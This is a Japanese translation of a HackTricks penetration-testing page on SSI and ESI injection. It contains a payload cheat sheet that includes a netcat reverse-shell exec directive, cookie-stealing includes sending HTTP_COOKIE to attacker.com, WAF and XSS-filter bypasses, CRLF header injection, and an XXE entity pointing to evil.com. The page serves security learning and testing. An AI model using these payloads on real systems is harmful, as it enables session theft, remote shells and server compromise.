13 KiB
サーバーサイドインクルージョン/エッジサイドインクルージョンインジェクション
htARTE(HackTricks AWS Red Team Expert) を通じてゼロからヒーローまでAWSハッキングを学ぶ!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したいまたはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksスワッグを入手する
- The PEASS Familyを発見し、独占的なNFTsのコレクションを見つける
- 💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦 @carlospolopmをフォローする。
- HackTricksおよびHackTricks CloudのgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する。
サーバーサイドインクルージョン基本情報
(Apacheドキュメントから引用)
SSI(サーバーサイドインクルード)は、HTMLページに配置され、サーバーで評価されるディレクティブです。これにより、既存のHTMLページに動的に生成されたコンテンツを追加することができます。CGIプログラムや他の動的技術を介してページ全体を提供する必要はありません。
たとえば、次のように既存のHTMLページにディレクティブを配置できます。
<!--#echo var="DATE_LOCAL" -->
そして、ページが提供されると、このフラグメントが評価され、その値で置き換えられます。
Tuesday, 15-Jan-2013 19:28:54 EST
SSIを使用するタイミングと、ページ全体をプログラムによって生成するタイミングは、通常、ページのどれだけが静的であり、ページが提供されるたびに再計算する必要があるかにかかっています。SSIは、上記のように現在の時刻などの小さな情報を追加する素晴らしい方法です。ただし、ページの大部分が提供される際に生成される場合は、他の解決策を探す必要があります。
Webアプリケーションが拡張子.shtml
、.shtm
、または.stm
を持つファイルを使用している場合、SSIの存在を推測できますが、これに限られません。
典型的なSSI式の形式は次のとおりです。
<!--#directive param="value" -->
チェック
// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->
// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->
// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->
// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->
エッジサイドインクルージョン
コンテンツの一部が次回コンテンツが取得される際に異なる可能性があるため、情報や動的アプリケーションをキャッシュする際に問題が発生します。これがESIが使用される理由で、ESIタグを使用してキャッシュバージョンを送信する前に生成する必要がある動的コンテンツを示します。
攻撃者がキャッシュコンテンツ内にESIタグを挿入できる場合、ユーザーに送信される前にドキュメントに任意のコンテンツを挿入できる可能性があります。
ESIの検出
サーバーからの応答に含まれる次のヘッダーは、サーバーがESIを使用していることを意味します:
Surrogate-Control: content="ESI/1.0"
もしこのヘッダーが見つからない場合、サーバーはとにかくESIを使用している可能性があります。
ブラインドエクスプロイテーションアプローチも使用できます。攻撃者のサーバーにリクエストが到着するはずです:
// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable
// Blind detection
<esi:include src=http://attacker.com>
// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>
// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>
// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">
// Valid for Akamai, sends debug information in the response
<esi:debug/>
ESIの悪用
GoSecureが作成した テーブルを使用して、異なるESI対応ソフトウェアに対して試す可能な攻撃を理解することができます。それは、サポートされている機能に応じて次のようになります:
- Includes:
<esi:includes>
ディレクティブをサポート - Vars:
<esi:vars>
ディレクティブをサポート。XSSフィルターをバイパスするのに便利 - Cookie: ドキュメントクッキーがESIエンジンからアクセス可能
- Upstream Headers Required: 上流アプリケーションがヘッダーを提供しない限り、サロゲートアプリケーションはESIステートメントを処理しない
- Host Allowlist: この場合、ESIインクルードは許可されたサーバーホストからのみ可能であり、例えば、SSRFはこれらのホストに対してのみ可能
ソフトウェア | Includes | Vars | Cookies | Upstream Headers Required | Host Whitelist |
---|---|---|---|---|---|
Squid3 | はい | はい | はい | はい | いいえ |
Varnish Cache | はい | いいえ | いいえ | はい | はい |
Fastly | はい | いいえ | いいえ | いいえ | はい |
Akamai ESI Test Server (ETS) | はい | はい | はい | いいえ | いいえ |
NodeJS esi | はい | はい | はい | いいえ | いいえ |
NodeJS nodesi | はい | いいえ | いいえ | いいえ | オプション |
XSS
次のESIディレクティブは、サーバーのレスポンス内で任意のファイルを読み込みます。
<esi:include src=http://attacker.com/xss.html>
クライアントのXSS保護をバイパス
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
Cookieの盗み取り
- リモートでCookieを盗む
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
- XSSを使用してHTTP_ONLYクッキーを盗む:レスポンスに反映させる
# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->
# It's possible to put more complex JS code to steal cookies or perform actions
プライベートローカルファイル
これを「ローカルファイルインクルージョン」と混同しないでください:
<esi:include src="secret.txt">
CRLF
CRLF(Carriage Return Line Feed)
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
オープンリダイレクト
以下は、レスポンスに Location
ヘッダーを追加します。
<!--esi $add_header('Location','http://attacker.com') -->
ヘッダーの追加
- 強制リクエストにヘッダーを追加
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
- レスポンスにヘッダーを追加します(XSSを含むレスポンスでの "Content-Type: text/json" のバイパスに役立ちます)
<!--esi/$add_header('Content-Type','text/html')/-->
<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->
# Check the number of url_decode to know how many times you can URL encode the value
ヘッダーにCRLFを追加する(CVE-2019-2438)
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>
Akamai デバッグ
これにより、レスポンスに含まれるデバッグ情報が送信されます。
<esi:debug/>
ESI + XSLT = XXE
dca パラメーターの xslt
値を指定することで、eXtensible Stylesheet Language Transformations (XSLT)
ベースの ESI を含めることが可能です。このインクルージョンにより、HTTP サロゲートは XML ファイルと XSLT ファイルを取得し、後者が前者をフィルタリングします。このような XML ファイルは XML External Entity (XXE) 攻撃に対して脆弱であり、攻撃者が SSRF 攻撃を実行できるようにします。ただし、このアプローチの有用性は限られています。ESI は既に SSRF ベクトルとして機能しているためです。基礎となる Xalan ライブラリでのサポートがないため、外部 DTD は処理されず、ローカルファイルの抽出が阻止されます。
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
XSLTファイル:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>
XSLTページをチェックしてください:
{% content-ref url="xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-language-transformations.md {% endcontent-ref %}
参考文献
- https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/
- https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/
- https://academy.hackthebox.com/module/145/section/1304
- https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91
ブルートフォース検出リスト
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
htARTE(HackTricks AWS Red Team Expert)を使って、ゼロからAWSハッキングを学び、ヒーローになりましょう!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したい、またはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksのグッズを入手してください
- The PEASS Familyを発見し、独占的なNFTsコレクションを見つけてください
- 💬 Discordグループに参加するか、telegramグループに参加するか、Twitter 🐦 @carlospolopmをフォローしてください
- HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください